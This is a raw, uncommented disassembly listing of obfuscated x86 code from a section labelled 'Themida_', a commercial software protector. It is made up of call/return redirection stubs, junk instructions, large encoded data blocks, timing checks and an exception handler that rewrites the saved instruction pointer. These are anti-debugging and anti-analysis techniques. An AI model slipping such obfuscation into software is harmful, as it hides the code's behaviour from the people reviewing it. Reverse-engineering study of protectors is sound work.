dd 2570E691h, 2BCC080h, 0EFAE10C6h, 197B8484h
; ---------------------------------------------------------------------------
xchg eax, esp
loc_5B1185: ; CODE XREF: Themida_:005B116Fj
add [ebp+6151695h], edi
lea eax, [ebp+61845F6h]
push 0
push esi
call sub_5B119C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B119C proc near ; CODE XREF: Themida_:005B1194p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B119C endp
; ---------------------------------------------------------------------------
mov dl, 4
cmc
sub [ebp+6150885h], edx
call eax
jp loc_5B11C3
mov [ebp+6152ECDh], ecx
loc_5B11C3: ; CODE XREF: Themida_:005B11B7j
add eax, [esp+28h]
cld
mov [ebp+61526DDh], esi
mov eax, [eax+18h]
pusha
mov [ebp+6150E3Dh], edx
jmp loc_5B11E2
; ---------------------------------------------------------------------------
std
xchg eax, esp
clc
xchg al, dh
loc_5B11E2: ; CODE XREF: Themida_:005B11D8j
popa
pusha
add [ebp+61503F1h], ecx
mov di, cx
popa
inc eax
push 0
push ebx
call sub_5B11FA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B11FA proc near ; CODE XREF: Themida_:005B11F2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5B11FA endp
; ---------------------------------------------------------------------------
db 0CCh
; ---------------------------------------------------------------------------
cmp al, 3Fh
cmpsb
stc
jmp loc_5B121E
; ---------------------------------------------------------------------------
dd 53B9D2D8h, 5304E6ADh
db 0CEh, 74h
; ---------------------------------------------------------------------------
loc_5B121E: ; CODE XREF: Themida_:005B120Fj
jmp loc_5B1232
; ---------------------------------------------------------------------------
db 0F6h
dd 691B77CDh, 19F4A6Bh, 0B1A017DFh
db 0F6h, 0Ah
; ---------------------------------------------------------------------------
loc_5B1232: ; CODE XREF: Themida_:loc_5B121Ej
mov [ebp+618729Eh], eax
push 0
push edi
call sub_5B1243
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1243 proc near ; CODE XREF: Themida_:005B123Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5B1243 endp
; ---------------------------------------------------------------------------
cmp edx, [ebx]
db 3Eh
cmp dword ptr [esi+29602742h], 0FFFFFFBDh
adc [ecx], ebx
adc eax, 9586106h
mov ebp, 61502D5h
mov esi, [eax+78h]
push 0
push edx
call sub_5B1277
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1277 proc near ; CODE XREF: Themida_:005B126Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5B1277 endp
; ---------------------------------------------------------------------------
sub ecx, ebp
pop edx
or dl, [eax+0Dh]
jg loc_5B1299
add [ebp+6151545h], esi
loc_5B1299: ; CODE XREF: Themida_:005B128Dj
; DATA XREF: Themida_:0057C454o
add esi, 1Ch
push 0
push ecx
call sub_5B12A7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B12A7 proc near ; CODE XREF: Themida_:005B129Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5B12A7 endp
; ---------------------------------------------------------------------------
mov ebx, ss
db 67h
mov bh, 3Dh
xchg eax, esi
or esp, [ebp+ecx*4+54h]
xchg eax, esi
push 0
push ebx
call sub_5B12CD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B12CD proc near ; CODE XREF: Themida_:005B12C5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5B12CD endp
; ---------------------------------------------------------------------------
db 0F6h, 0Fh, 8Ch
dd 0Eh, 35958B60h, 89061517h, 15141D8Dh, 7C816106h, 2424h
dd 870F1000h, 13Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 24C35040h, 0FF791EFAh, 4A8C983h, 0B8B160F5h
dd 52505061h, 128C0Fh, 0DE90000h, 8E000000h, 215FD9FBh
dd 0C5503293h, 0D77B8AAEh, 8A0F310Fh, 0Ch, 7E9h, 27D34C00h
dd 0E11394AEh, 489585Ah, 0FE924h, 95CC0000h, 0B0D197BFh
dd 16921481h, 1D4AB1CCh, 24448B5Fh, 57006A28h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 1B306D7Ch
dd 4651D700h, 2A919589h, 0F900615h, 1282h, 0DE900h, 0B65E0000h
dd 80880AA2h, 7715870Dh, 501EEDF3h, 52505250h, 0DE9h, 8C4FD800h
dd 0F58C13F1h, 0A12E2BD4h, 310F8D5Eh, 8F0Fh, 585A0000h
dd 8B60310Fh, 61E5B5CBh, 6A90585Ah, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2D4DC356h
dd 18ED8531h, 0BD310615h, 6153439h, 45F6858Dh, 6A0618h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 557335C3h, 0A9BD0194h, 0FF061505h, 0D9D89D0h, 9606151Dh
dd 0AE9h, 8A147900h, 3CAF2519h, 367C2B0h, 6A242474h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0C390C352h, 4F072581h, 0E9536E65h, 0Ah, 2A09EFE9h, 0BA562351h
dd 0BD8D62E0h, 61521D9h, 0B8F0Fh, 66600000h, 9D03D68Bh
dd 61518A5h, 0B589AD61h, 61509F1h, 24247C81h, 10000000h
dd 120870Fh, 60F80000h, 2761BD8Bh, 0AE80615h, 66000000h
dd 0A29BFCEEh, 257DA5BDh, 0BE90Bh, 0AC340000h, 0B160B98h
dd 5D777FE4h, 906159C3h, 6E9h, 1E131B00h, 503D7150h, 8A0F5250h
dd 2, 310F6160h, 10E95250h, 39000000h, 6FEBB6C9h, 0F4414B4Ah
dd 60AE3B4Bh, 0FEB4007h, 0F525031h, 5A585A31h, 90585A58h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D1C35343h
dd 0E9DFD28Eh, 0Bh, 1A872C4Ah, 8C0BFE45h, 8BD1406Dh, 89282444h
dd 15182D95h, 0E9609006h, 0Dh, 0EEFB0571h, 878BF83Fh, 67CE04B3h
dd 0F5061C8h, 0E89h, 9E900h, 29800000h, 9278727Ah, 9073B932h
dd 10C99501h, 858D0615h, 61845F6h, 0C880Fh, 800F0000h
dd 6, 8A18D09h, 0D0FF0615h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 42C35343h, 80E3DEC1h, 11E9h, 0B12EBB00h
dd 0A7FB5C94h, 0F0622C37h, 0C7FF9D13h, 4403479Ch, 8D292424h
dd 6150E11h, 52006AABh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 7AEB82Dh, 2F4BE88Eh, 8D2939D5h, 6151A3Dh
dd 0FA81h, 820F0001h, 748h, 0C8A0Fh, 890F0000h, 6, 8B0Fh
dd 0BD8D0000h, 615186Dh, 6E9h, 85192A00h, 0F80FDC4h, 0E87h
dd 0DE816000h, 57101B53h, 0AF72D981h, 0AD614145h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DFC35040h, 731B26Ch
dd 61A6991Bh, 14E960h, 2FBA0000h, 0F4A8D9CAh, 0D8603980h
dd 0C7240DF7h, 0EEF1A1ABh, 0E961B815h, 0Ah, 0CEF6614h
dd 9261D547h, 7C815401h, 2424h, 870F1000h, 0F3h, 0B830Fh
dd 6E90000h, 4A000000h, 3F815DBDh, 52505095h, 32BF6660h
dd 615857F2h, 0F60310Fh, 80h, 830F00h, 61000000h, 489585Ah
dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0E44EF007h, 18C0F50h, 0F5000000h, 27D8589h
dd 448B0615h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 212EABC3h, 9529038Ch, 61519F9h
dd 60525050h, 5E8h, 0AEC08200h, 0B05B341Fh, 310F6114h
dd 0F525060h, 8B585A31h, 585A61D6h, 6A240489h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 458C350h, 10E9FCDDh, 64000000h, 4E5A891Dh, 0A5230E2Eh
dd 56C3EF83h, 8DE09D9Ah, 1845F685h, 0FDBD8906h, 0FF061506h
dd 4D9589D0h, 3061510h, 0F242444h, 68Ah, 7DB58900h, 50061510h
dd 0FE9h, 6DAAF400h, 80A3AD7Eh, 0A06DECDEh, 0D4781477h
dd 31240489h, 15286DB5h, 6AAB06h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0ED48A5C3h, 573E7FD5h
dd 0EE9E5A1h, 35000000h, 96E1CF45h, 748A71E7h, 0B890376Bh
dd 21BD8DBBh, 6A061530h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 951EC357h, 2D45E339h
dd 9AFE186h, 150D99BDh, 18B0F06h, 0F8000000h, 56006AADh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0DD80605Dh, 6820FF8h, 0F000000h, 85h, 800F6100h, 0Eh
dd 0DD958960h, 0F061525h, 89h, 7C816100h, 2824h, 870F1000h
dd 0D7h, 18018D09h, 0F500615h, 1581h, 0BE86000h, 9C000000h
dd 0B7AF6654h, 0BB61BC75h, 505B1EADh, 4896158h, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0A29F5524h, 2C24448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0B3C35747h, 0BAAD9F86h, 0F1852995h, 5006152Dh
dd 12E960h, 6CB40000h, 81873931h, 92A92901h, 645C8F99h
dd 90939FCCh, 8961C28Bh, 0BD892404h, 61504A9h, 45F6858Dh
dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0D3AA5AC3h, 4454AA65h, 604EDAB0h, 8166CB8Bh
dd 6189F7EEh, 1860Fh, 0FFF50000h, 558501D0h, 3061534h
dd 89282444h, 152CB98Dh, 5EF5AB06h, 729E8DFFh, 0BD830618h
dd 618729Eh, 330A7500h, 0C0B58DC0h, 0FF061882h, 81AD56E6h
dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 1845F685h
dd 3D0FF06h, 97282444h, 858ADF8Bh, 618729Ah, 474C084h
dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h
dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h
dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h
dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh
dd 4C6835Eh, 0A5D85FFh, 5DE90615h, 5EFFFFFFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h, 830F3BD0h
dd 6, 2F2D8501h, 95290615h, 6153399h, 0A1BD0360h, 6606152Dh
dd 0E172E381h, 5D858B61h, 106150Ah, 15225985h, 6AE0D106h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 13E0C355h, 9B10998Dh, 0FF59B16h, 685h, 49BD8900h
dd 60061522h, 8C18D89h, 0BF660615h, 3615FA3h, 15302185h
dd 11E906h, 446E0000h, 0A14F9B2h, 4262D6CAh, 1E9144E3h
dd 0E98624C6h, 5, 867A65A3h, 0BE30h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F965DC3h
dd 18Eh, 0AD66F500h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 3AC35242h, 71673DCEh, 1870Fh, 0C1F50000h
dd 6A02E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 898D92C3h, 1533FD9Dh, 0D9850306h, 6A061521h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 6C0C356h, 0DE181BA8h, 8B6660F4h, 819D8BDEh
dd 61061501h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0D9C3A8DEh, 9785EA17h, 0D8F0F57h
dd 0E9000000h, 8, 4EA252B9h, 3CC8A546h, 5E9ADh, 1E0B0000h
dd 816B55D8h, 24247Ch, 0F100000h, 10987h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 4D69E509h, 60716DEFh, 18ED9D89h, 9D8B0615h, 61522D9h
dd 13E961h, 4B9E0000h, 0C6163C55h, 5534F5ECh, 981BF2Fh
dd 856B32A4h, 0B660504Eh, 28A0F8Ch, 60000000h, 4896161h
dd 8D31F924h, 6150D95h, 2824448Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0ACC35141h, 953D8496h, 0CE9h
dd 0D8A1A000h, 7161527Eh, 0B71424FCh, 5E95040h, 26000000h
dd 63FF1914h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 2495C355h, 95DA318Fh
dd 36B301Dh, 0B9B58B60h, 0BB061524h, 0B3314B0h, 0F6858D61h
dd 6A061845h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0F7DC352h, 0A86h, 5E900h, 38970000h
dd 0FF140B66h, 4403F5D0h, 6A2424h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 829602C3h, 6E9h, 0CDB8D200h
dd 894ABDF9h, 0E91C2444h, 10h, 2B9FD419h, 0CA5251CBh, 1DB7470Eh
dd 4AC47CAAh, 6840Fh, 8D890000h, 6151555h, 9C585C6h, 0C7000615h
dd 18745D85h, 6, 0A285C700h, 61872h, 0F000000h, 68Ch, 0E9B50900h
dd 0F9061527h, 11E961h, 0C8D50000h, 488483CCh, 0ABB0DB52h
dd 82C006A8h, 0C2FCC170h, 95290008h, 61522B9h, 21D9858Bh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 19F89DC3h, 0C8E0FF9h, 0F000000h, 68Fh, 0C9958900h
dd 4A06151Ch, 952BF960h, 6151DBDh, 4D26B61h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E2C35242h, 9447C2Ah
dd 152511B5h, 6AC20306h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0BCA2C356h, 75231EE4h
dd 6A96B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 5C1114C3h, 0D704DAC6h, 6AADF5h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 415C5AC3h
dd 75028567h, 247C8119h, 24h, 36870F10h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 6008C356h, 2A81BD8Bh, 0E9610615h, 11h, 0C46BF375h, 0DFA7538Bh
dd 0A2A8277Dh, 5EBB1C7Ch, 8D0F5067h, 8, 28C0Fh, 61600000h
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 84FFC353h, 0D3A75714h, 448BFCD0h
dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 50B0F7C3h, 14E9h, 0FCB72000h, 91BAA1B2h
dd 2E9CE0B4h, 42139F4Ch, 0ADAB336Ah, 2404898Eh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0C0AAA951h
dd 0FF5B746h, 0A8Dh, 5E506000h, 1DBD2Bh, 8D610615h, 1845F685h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 44F47C3Ah, 89C52750h, 150AC59Dh, 6AD0FF06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0CBFDC357h, 850F08B3h, 1, 0FD48E9F9h, 8B0FFFFFh
dd 1, 0F9858DFCh, 1061888h, 1509F1B5h, 60609006h, 0B661D18Bh
dd 60506196h, 95045B9h, 618BB476h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BDB0FD34h
dd 1D76A83Bh, 35FF64h, 60000000h, 0FFB8B60h, 80h, 66606100h
dd 2B025DB8h, 1510FDBDh, 8B616106h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F73B12C3h
dd 0F4845F16h, 85090FCCh, 6152F05h, 16018589h, 85890615h
dd 6152A65h, 2789BD89h, 89640615h, 25h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 23DDD4E7h, 0E860F302h, 13h, 0D44CBDB3h, 4D732D60h, 0FCE5DA61h
dd 2A4253D8h, 60FEE3DCh, 820F5F61h, 0
; ---------------------------------------------------------------------------
popa
lea eax, [ebp+61886A5h]
xor [ebp+6152B29h], esi
mov [ebp+6152FFDh], esi
mov [eax+1], esp
push 0
push esi
call sub_5B208D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B208D proc near ; CODE XREF: Themida_:005B2085p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5B208D endp
; ---------------------------------------------------------------------------
aas
mov al, ds:0E94A9509h
scasb
add al, [eax]
add [edx+0], ch
push ebx
call sub_5B20B2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B20B2 proc near ; CODE XREF: Themida_:005B20AAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B20B2 endp
; ---------------------------------------------------------------------------
dw 491Eh
dd 0DB8BF96Ch, 0E8h, 0ED815D00h, 618869Eh
; ---------------------------------------------------------------------------
loc_5B20D4: ; DATA XREF: Themida_:0057B454o
mov esp, 12FF9Ch
cmp dword ptr [ebp+6151E01h], 0
jz short loc_5B20FA
mov eax, [ebp+6152849h]
mov byte ptr [eax], 0
mov eax, [ebp+615282Dh]
mov byte ptr [eax], 0
call dword ptr [ebp+6152669h]
loc_5B20FA: ; CODE XREF: Themida_:005B20E0j
pusha
push dword ptr [ebp+6186EA6h]
lea eax, [ebp+6186EAAh]
push eax
lea eax, [ebp+61870A2h]
push eax
call dword ptr [ebp+6152F29h]
add esp, 0Ch
popa
push 0
push edx
call sub_5B2124
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2124 proc near ; CODE XREF: Themida_:005B211Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5B2124 endp
; ---------------------------------------------------------------------------
scasb
mov esi, 62A8E747h
push esp
pop esp
or [ebp+6150A61h], ebx
push 0
push ecx
call sub_5B214D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B214D proc near ; CODE XREF: Themida_:005B2145p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5B214D endp
; ---------------------------------------------------------------------------
db 9Dh, 0FAh, 7Dh
; ---------------------------------------------------------------------------
xchg eax, esp
js short loc_5B21B7
adc cl, [ebp+1870A2B5h]
push es
push 0
push edx
call sub_5B2175
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2175 proc near ; CODE XREF: Themida_:005B216Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5B2175 endp
; ---------------------------------------------------------------------------
aam 0F9h
setalc
xchg eax, edi
clc
jmp loc_5B219D
; ---------------------------------------------------------------------------
db 0FCh
dd 223DEBECh, 50BE2170h, 0E8C3E951h
db 26h
; ---------------------------------------------------------------------------
loc_5B219D: ; CODE XREF: Themida_:005B218Aj
lea edi, [ebp+6151E95h]
push 0
push esi
call loc_5B21AE
and [esi-3Dh], bl
loc_5B21AE: ; CODE XREF: Themida_:005B21A6p
pop esi
mov [esp+4], esi
; ---------------------------------------------------------------------------
db 81h
db 44h, 24h, 4
; ---------------------------------------------------------------------------
loc_5B21B7: ; CODE XREF: Themida_:005B2161j
sbb al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 46h
; ---------------------------------------------------------------------------
push esi
retn
; ---------------------------------------------------------------------------
sub eax, 26DB581Dh
pop ebp
cmp al, 0F5h
pusha
or [ebp+6151181h], ecx
sub [ebp+6152D21h], ecx
popa
loc_5B21D4: ; CODE XREF: Themida_:005B2209j
cmp byte ptr [esi], 0
jz loc_5B2214
sub [ebp+6152AE5h], ecx
movsb
push 0
push edx
call sub_5B21EF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B21EF proc near ; CODE XREF: Themida_:005B21E7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B21EF endp
; ---------------------------------------------------------------------------
stosb
shr ebp, 1
add [ebp+6152F55h], ebx
stc
jmp loc_5B21D4
; ---------------------------------------------------------------------------
add [ebp+6150655h], ecx
loc_5B2214: ; CODE XREF: Themida_:005B21D7j
mov eax, 0
push 0
push ebx
call sub_5B2224
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2224 proc near ; CODE XREF: Themida_:005B221Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5B2224 endp
; ---------------------------------------------------------------------------
sal dword ptr [eax+600A5291h], 60h
mov cx, 8E4Dh
cmc
popa
mov eax, [ebp+6152925h]
popa
stosb
mov [ebp+615045Dh], edi
cld
mov eax, 7
push 0
push ebx
call sub_5B2260
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2260 proc near ; CODE XREF: Themida_:005B2258p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B2260 endp
; ---------------------------------------------------------------------------
dd 0F06E464h, 682h, 41958900h, 0F061510h, 1E80h, 18810F00h
dd 0E9000000h, 13h, 0B2E94E2Fh, 1525EACh, 77271214h, 2B8E2895h
dd 89F686A8h, 150451B5h, 985C706h, 1061516h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 7525C357h, 2B49C7A2h, 4F9E8D8Dh, 6A0615h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 6308BCC3h, 845A1F54h, 8D895601h, 6150879h, 6AE1FFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 97D194C3h, 382B7EC3h
; =============== S U B R O U T I N E =======================================
sub_5B2328 proc near ; DATA XREF: Themida_:0057A7A0o
; Themida_:0057BAFCo
arg_8 = dword ptr 0Ch
mov ebx, [esp+arg_8]
push ebp
call $+5
pop ebp
sub ebp, 6188903h
mov eax, [ebx+0B8h]
mov [ebp+6186EA6h], eax
lea eax, [ebp+6188697h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
sub_5B2328 endp
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5B2360
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2360 proc near ; CODE XREF: Themida_:005B2358p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5B2360 endp
; ---------------------------------------------------------------------------
pop esi
add [ebp+6151A25h], eax
mov [ebp+6150661h], ebx
loc_5B237D: ; CODE XREF: Themida_:005B239Cj
pusha
push 0
push ecx
call sub_5B2389
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2389 proc near ; CODE XREF: Themida_:005B2381p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5B2389 endp
; ---------------------------------------------------------------------------
db 95h, 0F3h, 0Bh
; ---------------------------------------------------------------------------
jecxz short loc_5B237D
cdq
adc cl, [ebp+188B5685h]
push es
pusha
add ebx, 25D7F98Eh
add ecx, [ebp+615266Dh]
popa
jmp loc_5B23C2
; ---------------------------------------------------------------------------
and ah, cl
mov bl, 3Eh
mov ds:1D36808Bh, eax
loc_5B23C2: ; CODE XREF: Themida_:005B23B4j
push eax
jmp loc_5B23D0
; ---------------------------------------------------------------------------
dd 8E637AF0h, 4685336Ch
; ---------------------------------------------------------------------------
loc_5B23D0: ; CODE XREF: Themida_:005B23C3j
mov [esp], eax
push 0
push edx
call sub_5B23DE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B23DE proc near ; CODE XREF: Themida_:005B23D6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5B23DE endp
; ---------------------------------------------------------------------------
dw 1AB9h
; ---------------------------------------------------------------------------
inc edi
inc ebx
jns short loc_5B245E
mov [ebp+615174Dh], eax
push large dword ptr fs:0
push 0
push eax
call sub_5B240C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B240C proc near ; CODE XREF: Themida_:005B2404p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5B240C endp
; ---------------------------------------------------------------------------
fcomp dword ptr [ebp-32h]
sahf
mov ebx, 896475A0h
and eax, 0
stc
lea eax, [ebp+6188BCBh]
push 0
push edx
call sub_5B243C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B243C proc near ; CODE XREF: Themida_:005B2434p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5B243C endp
; ---------------------------------------------------------------------------
jecxz short loc_5B24BE
sbb ds:89E3F515h, bl
pusha
add [edx+0], ebp
push ebx
call sub_5B2461
loc_5B245E: ; CODE XREF: Themida_:005B23F2j
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2461 proc near ; CODE XREF: Themida_:005B2459p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5B2461 endp
; ---------------------------------------------------------------------------
db 0DCh, 0F3h, 20h
; ---------------------------------------------------------------------------
imul edx, [ebx], 6Eh
xchg eax, ecx
add [ebp+161D8D89h], ch
adc eax, 0C585C606h
or ds:6A4F06h, edx
push eax
call sub_5B2492
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2492 proc near ; CODE XREF: Themida_:005B248Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5B2492 endp
; ---------------------------------------------------------------------------
dw 2464h
dd 8980E9FCh, 152ACDBDh, 0D0776806h, 52509494h, 12E9h
dd 4814000h
; ---------------------------------------------------------------------------
jz short loc_5B24FB
loc_5B24BE: ; CODE XREF: Themida_:005B244Cj
test [eax-4Ch], esp
and [edx-0Ah], ebx
in eax, dx
retn
; ---------------------------------------------------------------------------
db 0CCh
db 2Ch
dd 0FF7ACA1h, 50525031h, 5A310F52h, 60310F58h, 5A585A61h
dd 24048158h, 6A33A3B3h, 6800Fh, 85090000h, 61528B1h, 2811B5FFh
dd 5E90615h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5B24FB: ; CODE XREF: Themida_:005B24BCj
or cs:[ebp-7203F310h], dh
test [edx+esi*2+6A0618h], edi
push edi
call sub_5B2512
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2512 proc near ; CODE XREF: Themida_:005B250Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5B2512 endp
; ---------------------------------------------------------------------------
aaa
inc ecx
sub dl, bh
pop edx
jns loc_5B2548
js loc_5B2548
jmp loc_5B2548
; ---------------------------------------------------------------------------
dd 941D11B7h, 6A33FBD8h, 0FC3BE15Ah, 13D8BCD6h
; ---------------------------------------------------------------------------
loc_5B2548: ; CODE XREF: Themida_:005B2527j
; Themida_:005B252Dj ...
call eax
xor [ebp+61508C9h], esi
jmp loc_5B25FA
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5B2560
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2560 proc near ; CODE XREF: Themida_:005B2558p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5B2560 endp
; ---------------------------------------------------------------------------
